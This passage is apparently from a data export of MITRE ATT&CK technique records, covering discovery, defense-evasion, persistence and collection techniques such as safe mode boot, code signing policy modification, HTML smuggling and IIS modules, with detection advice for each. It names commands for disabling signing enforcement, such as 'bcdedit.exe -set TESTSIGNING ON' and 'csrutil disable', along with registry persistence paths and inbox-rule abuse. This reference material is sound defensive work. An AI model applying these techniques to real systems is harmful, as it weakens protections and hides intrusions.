to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018) + +On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.",['discovery'],https://attack.mitre.org/techniques/T1614/001,mitre-attack,T1614.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Harshal Tupsamudre, Qualys']","['Windows Registry: Windows Registry Key Access', 'Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.",True,['User'],"['Windows', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1615', 'external_id': 'T1615'}, {'source_name': 'TechNet Group Policy Basics', 'description': 'srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.', 'url': 'https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/'}, {'source_name': 'ADSecurity GPO Persistence 2016', 'description': 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.', 'url': 'https://adsecurity.org/?p=2716'}, {'source_name': 'Microsoft gpresult', 'description': 'Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult'}, {'source_name': 'Github PowerShell Empire', 'description': 'Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.', 'url': 'https://github.com/EmpireProject/Empire'}]",1.0,attack-pattern,attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-08-06T13:10:12.916Z,2021-10-15T23:16:28.296Z,Group Policy Discovery,"Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\SYSVOL\\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) + +Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.",['discovery'],https://attack.mitre.org/techniques/T1615,mitre-attack,T1615,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ted Samuels, Rapid7', 'Jonhnathan Ribeiro, 3CORESec, @_w0rk3r']","['Network Traffic: Network Traffic Content', 'Active Directory: Active Directory Object Access', 'Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup. + +Monitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.",False,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/007', 'external_id': 'T1036.007'}, {'source_name': 'PCMag DoubleExtension', 'description': 'PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.', 'url': 'https://www.pcmag.com/encyclopedia/term/double-extension'}, {'source_name': 'SOCPrime DoubleExtension', 'description': 'Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.', 'url': 'https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/'}, {'source_name': 'Seqrite DoubleExtension', 'description': 'Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.', 'url': 'https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/'}]",1.0,attack-pattern,attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-08-04T20:54:03.066Z,2021-10-14T21:09:59.588Z,Double File Extension,"Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) + +Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension) + +Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.",['defense-evasion'],https://attack.mitre.org/techniques/T1036/007,mitre-attack,T1036.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Metadata']",,"Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)",True,,['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/009', 'external_id': 'T1562.009'}, {'source_name': 'Microsoft Safe Mode', 'description': 'Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.', 'url': 'https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234'}, {'source_name': 'Sophos Snatch Ransomware 2019', 'description': 'Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.', 'url': 'https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/'}, {'source_name': 'Microsoft bcdedit 2021', 'description': 'Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit'}, {'source_name': 'CyberArk Labs Safe Mode 2016', 'description': 'Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.', 'url': 'https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise'}, {'source_name': 'Cybereason Nocturnus MedusaLocker 2020', 'description': 'Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.', 'url': 'https://www.cybereason.com/blog/medusalocker-ransomware'}, {'source_name': 'BleepingComputer REvil 2021', 'description': 'Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows Safe Mode’ encryption mode. Retrieved June 23, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/'}, {'source_name': 'Microsoft Bootcfg', 'description': 'Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.', 'url': 'https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg'}]",1.0,attack-pattern,attack-pattern--28170e17-8384-415c-8486-2e6b294cb803,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-06-23T20:00:27.600Z,2021-08-31T14:51:47.352Z,Safe Mode Boot,"Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019) + +Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021) + +Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)",['defense-evasion'],https://attack.mitre.org/techniques/T1562/009,mitre-attack,T1562.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jorell Magtibay, National Australia Bank Limited', 'Kiyohito Yamamoto, RedLark, NTT Communications', 'Yusuke Kubo, RedLark, NTT Communications']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Creation', 'Command: Command Execution']","['Host Intrusion Prevention Systems', 'Anti-virus']","Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \* in front of the ""Startup"" value name: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\[""\*Startup""=""{Path}""] or by adding a key to HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019) + +Monitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)",True,['Administrator'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/008', 'external_id': 'T1564.008'}, {'source_name': 'Microsoft Inbox Rules', 'description': 'Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.', 'url': 'https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59'}, {'source_name': 'MacOS Email Rules', 'description': 'Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.', 'url': 'https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac'}, {'source_name': 'Microsoft New-InboxRule', 'description': 'Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps'}, {'source_name': 'Microsoft Set-InboxRule', 'description': 'Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps'}, {'source_name': 'Microsoft Cloud App Security', 'description': 'Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.', 'url': 'https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154'}, {'source_name': 'Microsoft BEC Campaign', 'description': 'Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/'}]",1.0,attack-pattern,attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-06-07T13:20:23.767Z,2021-10-16T01:24:31.674Z,Email Hiding Rules,"Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule) + +Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account. + +Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)",['defense-evasion'],https://attack.mitre.org/techniques/T1564/008,mitre-attack,T1564.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Dor Edry, Microsoft']","['File: File Modification', 'Command: Command Execution', 'Application Log: Application Log Content']",,"Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries. + +On Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)",True,['User'],"['Windows', 'Office 365', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1505/004', 'external_id': 'T1505.004'}, {'source_name': 'Microsoft ISAPI Extension Overview 2017', 'description': 'Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)'}, {'source_name': 'Microsoft ISAPI Filter Overview 2017', 'description': 'Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)'}, {'source_name': 'IIS Backdoor 2011', 'description': 'Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.', 'url': 'https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html'}, {'source_name': 'Trustwave IIS Module 2013', 'description': 'Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021.', 'url': 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/'}, {'source_name': 'Microsoft ISAPI Extension All Incoming 2017', 'description': 'Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)'}, {'source_name': 'Dell TG-3390', 'description': 'Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.', 'url': 'https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage'}, {'source_name': 'MMPC ISAPI Filter 2012', 'description': 'MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021.', 'url': 'https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx'}, {'source_name': 'Microsoft IIS Modules Overview 2007', 'description': 'Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.', 'url': 'https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview'}, {'source_name': 'ESET IIS Malware 2021', 'description': 'Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.', 'url': 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf'}, {'source_name': 'Unit 42 RGDoor Jan 2018', 'description': 'Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/'}]",1.0,attack-pattern,attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-06-03T18:44:29.770Z,2021-10-17T15:06:24.161Z,IIS Components,"Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013) + +Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012) + +Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)",['persistence'],https://attack.mitre.org/techniques/T1505/004,mitre-attack,T1505.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Wes Hurd'],"['File: File Creation', 'File: File Modification', 'Command: Command Execution']",,"Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\system32\inetsrv\config\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021) + +Monitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)",True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/006', 'external_id': 'T1027.006'}, {'source_name': 'HTML Smuggling Menlo Security 2020', 'description': 'Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.', 'url': 'https://www.menlosecurity.com/blog/new-attack-alert-duri'}, {'source_name': 'Outlflank HTML Smuggling 2018', 'description': 'Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.', 'url': 'https://outflank.nl/blog/2018/08/14/html-smuggling-explained/'}, {'source_name': 'MSTIC NOBELIUM May 2021', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/'}, {'source_name': 'nccgroup Smuggling HTA 2017', 'description': 'Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021.', 'url': 'https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/'}]",1.0,attack-pattern,attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-05-20T12:20:42.219Z,2021-10-18T12:03:12.510Z,HTML Smuggling,"Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018) + +Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters. + +For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)",['defense-evasion'],https://attack.mitre.org/techniques/T1027/006,mitre-attack,T1027.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Stan Hegt, Outflank', 'Jonathan Boucher, @crash_wave, Bank of Canada']",['File: File Creation'],"['Web content filters', 'Anti-virus', 'Static file analysis']","Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives. + +Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.",True,['User'],"['Windows', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1213/003', 'external_id': 'T1213.003'}, {'source_name': 'Wired Uber Breach', 'description': 'Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.', 'url': 'https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/'}, {'source_name': 'Krebs Adobe', 'description': 'Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.', 'url': 'https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/'}]",1.0,attack-pattern,attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-05-11T18:51:16.343Z,2021-10-16T01:35:43.483Z,Code Repositories,"Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. + + +Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)",['collection'],https://attack.mitre.org/techniques/T1213/003,mitre-attack,T1213.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itamar Mizrahi, Cymptom', 'Toby Kohlenberg', 'Josh Liburdi, @jshlbrd']","['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,"Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.",True,['User'],['SaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/006', 'external_id': 'T1553.006'}, {'source_name': 'Microsoft DSE June 2017', 'description': 'Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN'}, {'source_name': 'Apple Disable SIP', 'description': 'Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.', 'url': 'https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection'}, {'source_name': 'Microsoft Unsigned Driver Apr 2017', 'description': 'Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test'}, {'source_name': 'Microsoft TESTSIGNING Feb 2021', 'description': 'Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option'}, {'source_name': 'FireEye HIKIT Rootkit Part 2', 'description': 'Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html'}, {'source_name': 'GitHub Turla Driver Loader', 'description': 'TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.', 'url': 'https://github.com/hfiref0x/TDL'}, {'source_name': 'F-Secure BlackEnergy 2014', 'description': 'F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.', 'url': 'https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf'}, {'source_name': 'Unit42 AcidBox June 2020', 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.', 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/'}]",1.0,attack-pattern,attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-23T01:04:57.161Z,2021-04-26T15:41:39.155Z,Code Signing Policy Modification,"Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP) Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). 